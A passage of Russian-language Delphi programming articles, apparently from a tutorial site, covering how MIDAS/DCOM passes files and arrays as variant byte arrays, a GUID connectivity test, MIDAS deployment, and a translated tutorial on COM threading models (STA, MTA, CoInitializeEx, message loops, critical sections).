  Data := VarArrayCreate([0, ArraySize - 1], varByte);
  {Lock the variant array and get a pointer to the array of bytes.
   This makes access to the variant array much faster.}
  PData := VarArrayLock(Data);
  try
    {Read data from the TFileStream. The number of bytes to read is
    the high bound of the variant array plus one (because the array
    is zero based). The number of bytes actually read is
    returned by this function.}
    Result := Fs.Read(PData^, VarArrayHighBound(Data, 1) + 1);
  finally
    VarArrayUnlock(Data);
  end; //try
end;

Рис. 22 Метод GetFileData

Рисунок 23 показывает метод CloseFile, который освобождает объект FileStream и устанавливает переменную Fs к nil. Обработчик события OnDestroy для удаленного модуля данных также освобождает FileStream, если Fs - не nil, на случай если клиентская программа не вызывает CloseFile.

procedure TPassOther.CloseFile;
begin
  if Assigned(Fs) then
  begin
    Fs.Free;
    Fs := nil;
  end;
end;

Рис. 23 Метод CloseFile

Пересылка массивов или других структур, находящихся в памяти

Вы можете также переслать массив или любую другую структуру данных, которая существует в памяти, заполняя в вариантный массив байтов. Рисунок 24 показывает метод выборки GetArray Midas сервера. Этот метод объявляет массив Integer размером 10 элементов. Вариант, VDATA, передан по ссылке клиентским приложением. GetArray вызывает VarArrayCreate, чтобы создать вариантный массив байтов, чей размер равнен размеру целочисленного массива, который будет возвращен. Затем вариантный массив блокируется, целочисленный массив перемещается в него, и вариантный массив разблокируется.

procedure TPassOther.GetArray(var VData: OleVariant);
var
  IntArray: array[1..10] of Integer;
  I: Integer;
  PData: PByteArray;
begin
  {Put some numbers in the array.}
  for I := 1 to 10 do
    IntArray[I] := I;
  {Create the variant array of bytes. Set the upper bound to the size
  of the array minus one because the array is zero based.}
  VData := VarArrayCreate([0, SizeOf(IntArray) - 1], varByte);
  {Lock the variant array for faster access then copy the array to the
  variant array and unlock the variant array.}
  PData := VarArrayLock(Vdata);
  try
    Move(IntArray, PData^, SizeOf(IntArray));
  finally
    VarArrayUnlock(VData);
  end; //try
end;

Рис. 24 Метод GetArray

procedure TMainForm.CopyArrayBtnClick(Sender: TObject);
var
  IntArray: array[1..10] of Integer;
  VData: Variant;
  PData: PByteArray;
  I: Integer;
begin
  {Connect to the server application.}
  if not MainDm.Conn.Connected then
    MainDm.Conn.Open;
  {Call the server's GetArray method and pass a variant parameter.}
  MainDm.Conn.AppServer.GetArray(VData);
  {Lock the variant array, copy the data to the
  array and unlock the variant array.}
  PData := VarArrayLock(VData);
  try
    Move(PData^, IntArray, SizeOf(IntArray));
  finally
    VarArrayUnlock(VData);
  end; //try
  {Display the array values in the memo.}
  for I := 1 to 10 do
    ArrayMemo.Lines.Add(IntToStr(IntArray[I]));
end;

Рис.25 Обработчик OnClick

Рисунок 25 показывает OnClick обработчик события для кнопки Copy Array в приложении PassOther. Этот метод соединяется с Midas сервером, вызывая метод Open компонента DcomConnection. Затем вызывает GetArray метод сервера, передавая вариант как параметр. Затем вариант который теперь содержит массив блокируется и данные перемещаются из вариантного массива байтов в целочисленный массив IntArray. В заключение вариантный массив разблокируется, и целые числа отображаются в компоненте Memo на форме.

Заключение

Midas обеспечивает мощный гибкий способ работs с и локальными базами и c удаленными серверами. Это оказывается настолько полезным, чтобы стать краеугольным камнем нового Borland DB Express.

От переводчика:

К сожалению из-за большого объема данной статьи невозможно до конца выправить стилистику и т.д. Если Вы обнаружили какие-либо ошибки, имеете вопросы и предложения, я с радостью приму их по адресу mgoblin@mail.ru.

Взято с http://delphiworld.narod.ru


Тест на корректность GUID и интерфейсов

Автор: Nomadic

Как осуществить минимальный тест на корректность глобального идентификатора (GUID), и интерфейсов, унаследованных от IDispatch (и, следовательно, поддерживающих методы автоматизации)?

Вызовите CreateRemoteComObject, передав GUID интерфейса и имя компьютера, к которому Вы пытаетесь подключиться. Если функция вернет ошибку, то наличествует проблема сервера, иначе возможная проблема относится к клиенту.

const
  MyGUID = '{444...111}'; //Whatever the guid is...

var
  Unk: IUnknown;
  Disp: IDispatch;

begin
  { Make sure this line works correctly }
  Unk := CreateRemoteComObject('server1',
    StringToGUID(MyGUID));

  { If it does, then cast it to a IDispatch }
  Disp := Unk as IDispatch;
end;

Если этот кусок кода работает, а проблема остается, то Вам требуется шаг за шагом пройти через код клиента и найти, где он дает трещину. Если не сможете этого обнаружить, Вам придется запустить сервер под отладчиком и установить связь с клиентом, чтобы Вы могли произвести отладку рядом со местом, дающем слабину.

Взято с http://delphiworld.narod.ru


Deploying Midas

You need to purchase a MIDAS license for the application server. When you purchase a MIDAS license you receive a CD with the MIDAS suite for install. You need to install the
EXE's and DLL's that you created for your app, the rest (which also includes the runtime packages, BDE, SQL Links, etc.) are installed by the MIDAS software.


Sending a file via DCOM

I would like to send a file through DCOM however I can only send standard types. How can I send bytes across to a client?

You need to use a variant array (VarArrayLock should be useful as well).


Введение

Понимание потоковых моделей в COM при программировании на Delphi

Автор Бин Ли

Я всегда твердо верил, что нет ничего такого, что было бы невозможно понять. Необходимо только "выпарить" наиболее сложные части проблемы и потратить какое-то количество времени на понимание частей проблемы "кусок за куском". Затем эти части собрать вместе и понять проблему целиком.

Введение

Потоковые модели в COM имеют репутацию наиболее сложных для понимания. Возможно потому, что множество имеющейся документации по этой теме имеет "техническую природу" или ориентировано на конкретный язык, чаще всего C или C++. Цель этой статьи - дать Вам возможность понять, почему потоковые модели в COM так важны и как правильно использовать потоковые модели в Ваших приложениях COM. Моя цель - представить Вам материал таким образом, чтобы Вы могли читать его последовательно от начала до конца и в результате понять всю статью. Сказав это, я бы настойчиво рекомендовал Вам не пропускать ни одной страницы в процессе чтения, чтобы у Вас не возникло трудностей оттого, что Вы что-то пропустили раньше. А теперь, я желаю Вам удачи, и не говорите, что я не предупреждал Вас об этом!
Прежде, чем начать изложение, давайте начнем с того, что поймем, почему потоковые модели так важны для Ваших приложений COM. Исходя из своего опыта, я могу сказать, что наиболее существенной причиной использования потоковых моделей является повышение общей производительности и скорости реакции Вашей программы, особенно для объектов серверов COM, которые используются для обслуживания большого количества клиентских приложений. Но я не хочу сказать, что использование потоковых моделей в Ваших объектах серверов COM всегда увеличивает производительность. Вы должны тщательно изучить, как используются Ваши объекты и как потоковая модель повлияет на производительность приложения и целостность данных. Я должен подчеркнуть, что вопросы целостности обязательно должны рассматриваться объектов при принятии решения, применять или нет потоковую модель.
Несмотря на то, что Вы можете думать, что использование потоковой модели существенно повысит производительность объекта, может оказаться, что Ваши объекты сильно зависят, скажем, от третьих библиотек, которые могут "не выжить" в условиях многопоточности. Другой хорошей причиной применения многопоточности может быть то, что задача по своей природе является весьма пригодной для многопоточной реализации. Например, серверные объекты, являющиеся чисто служебными объектами, вероятно, могут сильно зависеть от времени при выполнении операций или захватывании ресурсов. Примерами таких объектов являются мониторы работы оборудования, объекты пакетной обработки или даже простые объекты манипулирования данными, время исполнения которых для успешного завершения непредсказуемо. В этих случаях тип разрабатываемого Вами приложения по существу определяет использование многопоточности.
Имеется множество других причин, при которых Вы могли бы использовать многопоточность, но две упомянутые выше причины являются наиболее общими среди наблюдаемых в промышленном программировании.
С другой стороны, я бы хотел предупредить, что не стоит применять многопоточность, если Вы не нуждаетесь в ней или не можете понять преимущества получаемого при этом решения. Это означает, что Вам не стоит даже думать о многопоточности, если Вы думаете только о том, что это круто. Поверьте мне, использование мнопоточности существенно усложняет Ваше приложение и, если Вы недостаточно все продумали, Вам придется искать ошибки в тех местах программы, которые прекрасно работали в однопоточном исполнении.


Основы многопоточности и COM

Основы многопоточности и COM
Многопоточность в COM очень легко понять. На самом деле! Нужно всего лишь потратить время на освоение большого количества новой информации! Одной из "непростительных" причин того, что изучение многопоточности в COM столь трудно, является страх перед хорошо звучащими (но непонятными) словечками, такими как:
подразделения (apartments), однопоточные подразделения (STAs), многопоточные подразделения (MTAs), свободное использование потоков (free threading), маршалинг интерфейса (interface marshaling) и т.д.
Но это все только громко звучащие слова и ничего более. В действительности же имеется множество хорошо определенных правил, которым очень легко следовать для полного понимания многопоточности в COM. Все, что Вам нужно - это знать, что это за правила, выучить их, а затем действительно использовать их в своих приложениях. Я бы хотел начать разговор о первом и наиболее общем правиле, а затем идти дальше и дальше к специфическим правилам далее в этой статье.
Правило #1: Каждое приложение, использующее COM, должно сообщить COM, как оно будет управлять потоками исполнения (никаких если, никаких но). Это правило является важным, так как для того, чтобы COM могла бы взаимодействовать с Вашим приложением или Ваше приложение могло бы взаимодействовать с другими приложениями посредством COM, COM должна знать как правильно делать вызовы объектов Вашего приложения на уровне той потоковой модели, которую Вы указали.
Это имеет смысл, так как COM является тем клеем, который используется приложениями для взаимодействия друг с другом и обеспечивает корректность взаимодействия многопотоковых приложений. COM, по крайней мере, должен знать, как приложения, которые он связывает вместе, управляют многопоточностью. Этот уровень "потоковой трудности" называется потоковой моделью COM.
Для целей этой статьи мы определим 3 потоковых модели. В действительности нет никакой разницы, как их назвать. И так как мы понимаем, что каждая из них представляет из себя, я не буду больше беспокоиться о том, как Вам хотелось бы их называть.

Однопотоковая модель (the single-threaded model)
Если приложение работает в однопотоковой модели, то это означает, что в этом приложении имеется только один поток (thread) исполнения, в котором приложение взаимодействует с COM.
Это подразумевает, что COM будет гарантировать взаимодействие с Вашим приложением (производить обращения к нему) таким образом, что не будет одновременных обращений в разных потоках. Когда COM хочет чего-либо от Вашего приложения, он будет производить это только в главном потоке Вашего приложения.
Это также подразумевает, что если у Вас есть однопотоковый сервер COM, который сейчас имеет, скажем, 50 объектов, используемых (разделяемых) 50-ю клиентами и, если все 50 клиентов пытаются вызвать метод каждого объекта в одно и то же время, то COM вмешается и не позволит выполниться 50 потокам на Вашем сервере одновременно. Вместо этого COM сделает так, что вызовы методов будут произведены в одном потоке один после другого, пока все 50 объектов не удовлетворят вызовы 50 методов (и, конечно же, каждый метод будет возвращать результат работы непосредственно после своего завершения).
Как Вы видите в этом примере приведен крайне неэффективный сервер для такого режима его использования. Представьте себе, что каждый метод требует 1 секунду времени для своего завершения. Потребуется, по крайней мере, 50 секунд для обслуживания 50 одновременных обращений и, что еще хуже, пока не будет обслужен первый вызов, никакие другие вызовы обслуживаться не будут.
Верите или нет, но Delphi 3 технически может создавать только однопотоковые внутренние и внешние сервера COM. Хотя это не может выглядеть ограничением для внутренних серверов (DLL), но, поверьте мне, это очень плохо работает в случае с внешними серверами (EXE), когда множество клиентов должны обслуживаться одновременно с разумным временем отклика.

Модель однопотокового подразделения (the single-threaded apartment model - STA)
Не вдаваясь в подробности сейчас (эта модель будет полностью объяснена позже), эта модель позволяет COM взаимодействовать с Вашим приложением в нескольких подразделениях (apartment), каждое из которых содержит в точности один поток(thread).
Вы можете подумать: Ух ты! Что за чертовщина это подразделение? Простейшее определение, которое я видел, звучит так: подразделение - это хорошо определенная инкапсуляция того, как потоки и объекты COM взаимодействуют друг с другом. Когда я говорю "инкапсуляция", я подразумеваю, что некоторый поток и некоторый объект, которые должны что-то делать совместно с COM определены в понятии "подразделение", в котором они "живут". Другими словами, Вы не можете описать как поток и объект COM взаимодействуют друг с другом без определения сначала понятия "подразделение", которое содержит как поток, так и объект.
Когда я говорю "хорошо определенная", я подразумеваю, что взаимодействие между данным потоком и данным объектом COM связано набором правил, определяемых типом подразделения, в котором этот поток и этот объект размещены. Мы перейдем к изучению этих правил позже в этой статье, но сейчас давайте просто скажем, что эти правила имеют хорошо определенные спецификации в COM. Давайте сделаем это более понятным путем определения другого правила:
Правило #2: Каждый поток в Вашем приложении, использующий COM, сначала должен войти в подразделение или инициализировать его (никаких если, никаких но).
Если поток вошел в подразделение или инициализировал его, он должен покинуть его до того как завершится сам (никаких если, никаких но). Просто полагайте, что подразделение - это то место, где "живет" поток.
Причиной того, почему поток, использующий COM, должен войти в подразделение, является тот факт, что COM должен внутренне инициализировать себя таким образом, чтобы знать, как правильно взаимодействовать с потоком.
Причиной того, что поток должен покинуть подразделение до своего завершения, является тот факт, что это единственный способ уведомить COM о том, что поток больше не желает использовать это подразделение и что COM теперь может делать все, что ему нужно, чтобы освободить ресурсы, использовавшиеся подразделением.
Если поток входит в подразделение и затем создает объект COM, то этот объект описывается как "расположенный" или "живущий" в этом подразделении (в действительности это не совсем аккуратное определение, но для целей простоты и легкости понимания подразделений давайте сейчас предполагать, что это так). Теперь, если различные потоки (каждый из которых может быть, а может и не быть потоком, первоначально создавшим объект) пытаются манипулировать этим объектом, COM может вмешиваться в их работу с полной уверенностью, что доступ к этому объекту производится именно тем способом, который определяется типом подразделения, в котором он живет.
В чем же заключаются правила однопотокового подразделения? Очень просто!
Во-первых, однопотоковое подразделение (STA) - это подразделение, содержащее только один поток, взаимодействующий с COM.
Во-вторых, если различные потоки пытаются взаимодействовать с STA или, точнее, с объектом COM, живущим в STA, COM будет гарантировать, что все потоки будут обслуживаться по принципу "только один одновременно", единственным потоком, который первым вошел или, что существенно, создал это подразделение.
В-третьих, если Ваше приложение желает использовать модель однопотокового подразделения и потребуется взаимодействие нескольких потоков с COM, то Ваше приложение будет вынуждено создать несколько однопотоковых подразделений, каждое из которых соответствует единственному потоку. Чтобы легче было запомнить эти правила, давайте я приведу пример.
Пусть Вы создали объект COM X в потоке STA. Пусть X имеет один метод с именем Method1. Теперь, если два или более потоков (очевидно, что каждый из них живет в своем STA) пытаются одновременно вызвать X.Method1 в одном экземпляре X, COM в соответствии с моделью STA, будет гарантировать, что X в действительности не бомбардируется одновременными вызовами Method1 в разных потоках. Вместо этого COM обеспечит, что X.Method1 будет вызван первым запросившим потоком, затем следующим, затем еще следующим и т.д. пока ВСЕ вызовы не будут обслужены одним потоком, который первоначально создал подразделение, в котором живет X.
Другими словами, вызовы методов объекта COM, живущего в STA, гарантировано будет следовать последовательно один после другого вне зависимости от того, откуда пришел этот поток.
Теперь, если Вы создадите два экземпляра объекта X, каждый в отдельном STA и вызовите метод X.Method1 в обоих экземплярах одновременно, COM позволит обоим вызовам исполняться одновременно, так как каждый раздельный STA имеет свой собственный поток.
Поэтому основная разница между моделью STA и однопотоковой моделью заключается в том, что при однопотоковой модели может быть только один поток на все приложение, в то время как в модели STA Вы можете иметь несколько потоков, каждый из которых исполняется в собственном STA. Если Вы немного подумаете, то придете к выводу, что однопотоковая модель - это все лишь дегенеративный вариант модели STA, в которой имеется только один STA на все приложение.

Модель многопотокового подразделения (the multithreaded apartment model - MTA)
Модель многопотокового подразделения (MTA) просто является расширением модели STA. Если Вы еще способны следить за мной, легко сделать вывод, что MTA является подразделением, в котором могут размещаться несколько потоков, в то время как в STA в подразделении может размещаться только один поток.
Основная разница между моделями STA и MTA заключается в том, что если Вы создаете объект в MTA и используете его из нескольких потоков, COM осуществляет одновременный доступ к нему в отличие от модели STA, при которой осуществляется последовательный доступ к объекту. Как я уже говорил ранее, тип подразделения определяет, каким образом потоки взаимодействуют с объектами COM, живущими в этом подразделении. Если Вы создаете объект в MTA, COM будет гарантировать, что поступающие вызовы методов могут происходить одновременно из нескольких потоков.
Как Вы можете видеть, программирование объектов, которые Вы собираетесь использовать в модели MTA, должно осуществляться таким образом, чтобы они могли обрабатывать поступающие запросы от любого потока в любое время и, в то же время, сохранять свою целостность. Другое правило, которое Вы должны всегда помнить, заключается в том, что один процесс, взаимодействующий с COM, может содержать только один MTA. Это означает, что если Вам необходимо создать несколько потоков, взаимодействующих с COM в MTA, то каждый из этих потоков должен входить в единственный MTA Вашего процесса.
Мы только что определили 3 различных типа потоковых моделей, доступных в COM.
Однопотоковая модель может быть описана как самая слабая из всех, когда дело касается использования потоков в приложении, т.е. она не позволяет обрабатывать одновременные запросы COM из разных потоков.
Модель однопотокового подразделения (модель STA) немного сложнее, чем однопотоковая модель. Это выражается в том, что она позволяет взаимодействовать COM с несколькими потоками, но может сделать это только путем создания нескольких подразделений. Это подразумевает, что STA не является существенно более сложной, чем однопотоковая модель. При этом каждый STA имеет только один поток, который и будет обрабатывать все взаимодействие с COM в пределах подразделения.
MTA, с другой стороны, является наиболее сложным из всех перечисленных в смысле взаимодействия с COM нескольких потоков. Другими словами, объект, живущий в MTA, говорит внешнему миру "Я сложно устроен! Я могу работать с потоками где угодно и в любое время!".
Перед тем, как продолжить дальше, я бы хотел отметить некоторые термины.
Модель STA часто называется проще как "работающие в одном потоке" (apartment-threaded), а модель MTA как "работающие во многих потоках" (free-threaded). Хотя мне и не хочется использовать эти термины в своей статье, но чувствуйте себя свободно и подменяйте названия моделей STA и MTA на них, если они понятнее для Вас. Это только слова и ничего более!
Правило #3: Объекты COM создаются в потоках, потоки живут в подразделениях, а подразделения живут в процессах.
Первое интуитивно понятно: объект COM может существовать только в том случае, если он создан, объект COM может быть создан только в том случае, если поток желает создать его.
Второе легко понять, применив Правило #2, т.е., если каждый поток, который нуждается во взаимодействии с COM, должен войти в подразделение или инициализировать его, то, следовательно, это подразделение, так сказать, является вместилищем потока.
Третье, подразделения живут в процессах, может не очень легко "визуализовать" до тех пор, пока Вы не начнете писать код, взаимодействующий с подразделениями. Не беспокойтесь, что Вы пока не согласны со мной в том, что подразделения живут в процессах, это придет позже, когда у Вас появится некоторый опыт, а сейчас просто запомните это правило, так как оно понадобится для понимания нижеследующих концепций.
Правило #4: Если клиентское приложение COM задает потоковую модель, не того типа, т.е. несовместимую с типом потоковой модели сервера COM, сам COM гарантирует, что клиент и сервер будут все равно правильно взаимодействовать друг с другом. Другими словами, COM будет учитывать мнение клиента о том, как он может управлять потоками, и также COM будет учитывать мнение сервера о том, как он может управлять потоками. COM возьмет на себя ответственность за "бесшовную" совместную работу клиента с сервером без каких-либо дополнительных усилий по разработке со стороны программиста. Но Вы можете спросить, как COM может делать это? В действительности ответ очень прост:
Правила #1 и #2 предполагают, что если Вы однажды определили потоковую модель и тип подразделения (подразделений), с которыми работает Ваше приложение, то Вы тем самым заключили обоюдное соглашение с COM в том, что Вы и COM должным образом все подготовили в соответствии с правилами. Например, если Вы говорите COM, что Вы хотите поддерживать только однопотоковую модель, то Вы говорите "Эй, COM. Я гарантирую тебе, что я могу обрабатывать любые запросы только в одном потоке. Если ты нуждаешься во мне, ты можешь делать все только в одном потоке. Не допускай ко мне множественные потоки, так как я не готов обрабатывать их!" COM принимает эти слова как молитву и будьте уверены без дополнительных вопросов, что все Ваши запросы будут удовлетворены. Это означает, что если есть два приложения, клиент и сервер, каждое из которых сказал COM, что он может и что не может делать, то COM обезопасит Вас от кровавых разборок между ними, обеспечив тем самым, что запросы будут правильно восприниматься с обоих сторон, когда они начнут взаимодействовать друг с другом. Если COM не делал бы этого, то потоковая работа COM была бы сущим кошмаром. Подумайте об этом!
Так, где это мы сейчас? Мы установили очень важные базовые правила поведения потоков в COM. Если Вы успели заметить, все это было чистой теорией. Я умышленно сделал это, так как когда я исследовал и изучал эту тему, мне пришлось пройти через большое количество программного кода, который не имел никакого смысла. Поверьте мне, Вы не хотите этого делать и даже использовать его до тех пор, пока Вы не поймете наконец, что этот код делает. Если Вы делали это, то Вы уже познакомились с потенциальными проблемами в Ваших приложениях, и Вы можете насчитать множество часов, проведенных за отладкой, пока Вы однажды не открыли для себя, что использование потоков в COM чревато трудно находимыми ошибками. В конце концов я понял, что следует усвоить основы прежде, чем написать некий код, который будет что-либо делать с потоками в COM. Теперь я бы хотел, чтобы Вы внимательно перечитали все то, что мы уже узнали, чтобы быть уверенным, что Вы, по крайней мере, поняли, о чем же идет речь. Если Вы чувствуете себя уверенно после изучения первых четырех правил, то Вы должны быть готовы двигаться дальше к следующим частям, где мы сконцентрируемся на специфических деталях, окружающих первые четыре правила. Готовы?

Модель однопотокового подразделения (the Single Threaded Apartment Model - STA)
В предварительном обсуждении мы установили, что модель STA позволяет Вам разрабатывать многопотоковые приложения COM, в которых каждый поток должен инициализироваться/содержаться внутри своего собственного подразделения. Мы также поняли, что для того, чтобы поток правильно взаимодействовал с COM, он должен сначала войти в подразделение или инициализировать его. Так как же именно поток входит в STA? COM предоставляет функцию CoInitializeEx API для входа потока в подразделение. Синтаксис CoInitializeEx (определенный в ActiveX.pas) следующий:
function CoInitializeEx (pvReserved : pointer; coInit : longint) : HResult; stdcall;
Параметр pvReserved в данном случае бесполезен и должен быть равен NIL. Параметр coInit определяет тип подразделения, в который поток желает войти. Для модели STA Вы должны передавать в качестве этого параметра константу COINIT_APARTMENTTHREADED. Короче, следует писать следующий вызов:
CoInitializeEx (NIL, COINIT_APARTMENTTHREADED);
который позволяет потоку Вашего приложения войти в подразделение STA (инициализировать его). Мы также уже знаем, что если поток вошел в подразделение, то он должен выйти из него до своего завершения. Для выхода из подразделения COM предлагает следующий вызов CoUninitialize API, имеющий следующий синтаксис.
procedure CoUninitialize; stdcall;
Если поток производит вызов CoInitializeEx дважды подряд, то в первом случае возвращается код завершения функции (HResult), равный S_OK. Во второй раз (и во все последующие) будет возвращено значение S_FALSE, при этом никаких действий не производится. Хотя некоторые авторы и не рекомендуют производить лишние вызовы CoInitializeEx (Прим. перев. - так у автора; вероятно должно быть CoUninitialize), мои исследования показывают, что Вам все равно следует обращаться к CoUninitialize ДЛЯ КАЖДОГО вызова CoInitializeEx вне зависимости от того, вернул ли предыдущий вызов S_OK или S_FALSE. Это склоняет меня к мысли, что исполняющая система COM ведет счетчик количества входов в STA одного и того же потока, и позволяет потоку успешно покинуть STA только в том случае, если счетчик входов равен нулю. Например:

begin
// вход в STA
  CoInitializeEx(nil, COINIT_APARTMENTTHREADED);
// этот второй вызов организует повторный вход в текущий STA
// (возвращает код завершения )
  CoInitializeEx(nil, COINIT_APARTMENTTHREADED);
// этот вызов закрывает последний CoInitializeEx,
// но выход из STA не производится
  CoUninitialize;
// этот вызов закрывает первый CoInitializeEx
// и окончательно покидает STA CoUninitialize;
end;

После входа потока в подразделение недопустимо изменять (или входить по-другому) подразделения до тех пор, пока поток не покинет это подразделение. Это означает, что если поток вошел в STA, а затем производит вызов CoInitializeEx, осуществляющий вход в MTA (вход в MTA обсуждается позже в данной статье), последний вызов CoInitializeEx не будет успешным и вернет код своего завершения, равный RPC_E_CHANGED_MODE ($80010106), означающий "Нельзя изменять тип потока после того, как он был установлен" ("Cannot change thread mode after it is set"). В этом случае Вы не должны производить вызов соответствующего CoUninitialize. Другими словами вызов CoUninitialize должен производиться только в том случае, если вызов CoInitializeEx вернул S_OK или S_FALSE. Если он вернул что-либо другое Вы не должны вызывать CoUninitialize. COM предлагает и более ранний вызов API - CoInitialize, который функционально эквивалентен CoInitializeEx(NIL, COINIT_APARTMENTTHREADED). Синтаксис CoInitialize следующий:
function CoInitialize (pvReserved : pointer) : HResult; stdcall;
Таким образом, следующий вызов очень похож на вызов CoInitializeEx, показанный ранее: CoInitialize(NIL); Другая пара ранних вызовов API, достойная внимания - это OleInitialize и OleUninitialize. OleInitialize эквивалентен CoInitialize, но он инициализирует также и подсистему пользовательского интерфейса COM (такую как "тащи и бросай - drag-and-drop" OLE). OleUninitialize эквивалентен вызову CoUninitialize, но он дополнительно деинициализирует подсистему пользовательского интерфейса COM, инициализировавшуюся вызовом OleInitialize. Это означает, что если Ваше приложение COM использует, скажем, OLE drag-and-drop вызов CoInitialize непригоден; Вам необходимо использовать вызов OleInitialize.
Одно Вам необходимо запомнить. Вызов CoInitializeEx возможен только в DCOM для Windows NT4 или если установлено расширение DCOM для Windows 95. Если Вы производите вызовы CoInitializeEx на машине, не поддерживающей указанных расширений DCOM, Вы будете получать сообщение об ошибке, что данный вызов не поддерживается, а Ваша программа не будет работать. Следовательно, если Вы интересуетесь только моделью STA, использование пары вызовов CoInitialize/CoUninitialize будет давать хорошие результаты вне зависимости от того, установлены у Вас расширения DCOM или нет. Если Вы удивляетесь, почему Вам никогда не требовалось производить вызовы CoInitialize/CoUninitialize в Ваших однопотоковых приложениях на Delphi, то это потому, что они уже были выполнены за Вас модулем ComObj.pas. Модуль ComObj производит вызов CoInitialize(NIL) во время своей инициализации, а вызов CoUninitialize - во время финализации. Это означает, что главный поток Вашего приложения всегда живет в STA.
Важно отметить, что если Вам необходимо создавать другие потоки STA в Вашем приложении, взаимодействующем с COM, то Вы должны делать вызовы CoInitialize/CoInitializeEx/CoUninitialize явно, как это было описано выше. Если Вы забываете сделать это, то получаете ошибочный код завершения CO_E_NOTINITIALIZED ($800401F0), означающий "Не был вызван CoInitialize" ("CoInitialize has not been called") из потока, начинающего взаимодействие с COM.
Мы узнали, что STA должен содержать в точности один поток, и, что в случае попытки множества потоков взаимодействовать с объектом COM, живущим в STA, COM будет уверен, что эти потоки могут обслуживаться только одним потоком, живущим в этом STA, в данный момент времени. Проще, COM всегда будет осуществлять все вызовы в потоке STA последовательно. Этот последовательный процесс возможен потому, что (для STA) COM автоматически создает скрытое системное окно, управляющее всеми системными вызовами для каждого ассоциированного STA. Так в действительности, когда нескольким потокам необходимо произвести одновременные обращения к объекту, живущему в STA, COM странслирует эти вызовы в окно сообщений и поставит эти сообщения в очередь один за другим, т.е. в очередь сообщений одного потока, живущего в Вашем STA. Таким образом, сообщения в очереди могут быть проверены и исполнены по одному Вашим потоком STA. Ваш поток будет всего-навсего пропускать (или передавать) эти сообщения скрытому окну для дальнейшей обработки. Это подводит нас к наиболее важному правилу для STA:
Правило #5: Для того, чтобы сервер STA работал бы правильно, его поток должен включать в себя цикл, непрерывно проверяющий наличие оконных сообщений (windows messages) и, соответственно, их обрабатывающий. Другими словами, следующий фрагмент показывает основы реализации работающего потока STA:

var
  rMsg: TMsg;
begin
  CoInitializeEx(nil, COINIT_APARTMENTTHREADED);
{ главный цикл сообщений потока }
  while (GetMessage(rMsg, 0, 0, 0)) do
    DispatchMessage(rMsg);
  CoUninitialize;
end;

Если Вы планируете создать поток STA, не имеющий цикла обработки оконных сообщений, Вы должны учитывать, что если Вы пытаетесь получить доступ к объекту, созданному в этом STA, из других потоков (очевидно, в других STA), Ваши вызовы не будут успешно выполнены и Ваш вызывающий поток "зависнет". Очевидно, что причина происходящего кроется в том, что мы только что узнали. Я бы хотел подчеркнуть также, что цикл сообщений необходим только с той точки зрения, что Ваш поток STA собирается обслуживать объекты для потоков в других подразделениях. Действительная цель цикла обработки оконных сообщений заключается в том, что COM может выстраивать последовательно все вызовы, приходящие от всех потоков. Другими словами, если Вы собираетесь создать поток STA, который работает с объектами COM внутри того же самого потока, то нет абсолютно никакой нужды в цикле сообщений. Например, если клиентское приложение создает поток STA и внутри этого потока создает объект COM, работает с ним и затем завершает, то нет никакого смысла в цикле сообщений вообще, т.е.

procedure TMySTAThread.Execute;
var
  pObject1: IObject1;
begin
  CoInitializeEx(nil, COINIT_APARTMENTTHREADED);
// Создает объект object1, делает с ним что-то (something) и завершается
  pObject1 := CreateOleObject('Server.Object1') as IObject1;
  pObject1.DoSomething;
  pObject1.DoSomeOtherThing;
  pObject1 := nil;
// Цикл сообщений не нужен, так как мы уже все сделали
  CoUninitialize;
end;

Очевидно, что если Вы планируете использовать модель STA в Вашем приложении, то по существу говоря это приложение является многопоточным, в котором каждый поток живет в отдельном STA. Это означает, что для COM имеется возможность делать одновременные вызовы Вашего приложения, если оно создает несколько STA (отметьте существенную разницу: для каждого STA вызовы выстраиваются последовательно, но в целом приложение может иметь несколько STA, вызовы к которым могут поступать одновременно). Это приводит нас к другому правилу, весьма важному для STA:
Правило #6: Благодаря модели STA Ваши объекты STA могут защищать некоторые глобальные (в масштабах приложения) данные, которые могут быть разрушены при одновременном доступе множества объектов из раздельных потоков. Любые данные, характерные для данного экземпляра (обычно это поля, содержащиеся в объявлении класса Вашего объекта), уже являются потоково-безопасными и не нуждаются в защите. Для иллюстрации сказанного рассмотрим следующее:

var
  iGlobal: integer;
type
  TObject1 = class(TAutoObject)
  protected
    FLocal: integer;
    procedure AccessGlobal;
    procedure AccessLocal;
  end;

procedure TObject1.AccessGlobal;
begin
// Если создается несколько экземпляров TObject1 в раздельных STA и
// AccessGlobal вызывается в каждом из них одновременно, то возможно,
// что iGlobal будет испорчена
// делаем что-либо с глобальной переменной
  iGlobal := iGlobal + 1;
end;

procedure TObject1.AccessLocal;
begin
// Если создается один экземпляр TObject1 в STA и множество потоков
// пытаются вызвать AccessLocal в этом единственном экземпляре,
// то локальная переменная гарантировано не будет испорчена, так как
// COM обеспечит, что вызовы AccessLocal следуют последовательно
// друг за другом в пределах одного потока, живущего в этом STA
// делаем что-либо с локальной переменной
  FLocal := FLocal + 1;
end;

Следовательно, правильным способом исправить TObject1.AccessGlobal является сделать переменную iGlobal защищенной от одновременного доступа из нескольких потоков STA. Простейший способ сделать это - это использовать критические секции Win32, которые обслуживаются операционной системой для таких случаев (я буду полагать, что Вы уже знаете некоторые основы потоков и функций работы с ними, существующие в Win32. Вы должны обратиться к книгам, если Вы чувствуете пробел в своих познаниях в этом месте. Вот книга, которую я нашел достаточно полезной "Win32 Multithreaded Programming"; Cohen и Woodring, O`Reilly, ISBN 1-56592-296-4).
Тогда TObject1.AccessGlobal может быть переписана следующим образом:

uses
  SyncObjs;
var
  csGlobal: TCriticalSection;
  iGlobal: integer;

procedure TObject1.AccessGlobal;
begin
// вход и выход из критической секции теперь гарантирует, что доступ
// к iGlobal может быть осуществлен одним потоком единовременно и
// невозможно разрушение при доступе из различных потоков
  csGlobal.Enter;
  try
// делаем что-либо с глобальной переменной
    iGlobal := iGlobal + 1;
  finally
    csGlobal.Leave;
  end; { finally }
end;

initialization
  csGLobal := TCriticalSection.Create;
finalization
  csGlobal.Free;
end.

Стороннее замечание. Delphi предоставляет в Ваше распоряжение класс TCriticalSection, являющийся оболочкой для примитивов критической секции Win32. TCriticalSection располагается в модуле SyncObjs, который, как я знаю, существует только в версии клиент/сервер Delphi. Если Вы не располагаете приобретенной копией клиент-серверной версии Delphi (как я), не все потеряно:
Вы можете использовать класс TCriticalSection из библиотеки ThreadComLib этой статьи или, если Вы чувствуете в этом силу, использовать вызовы Win32 API.
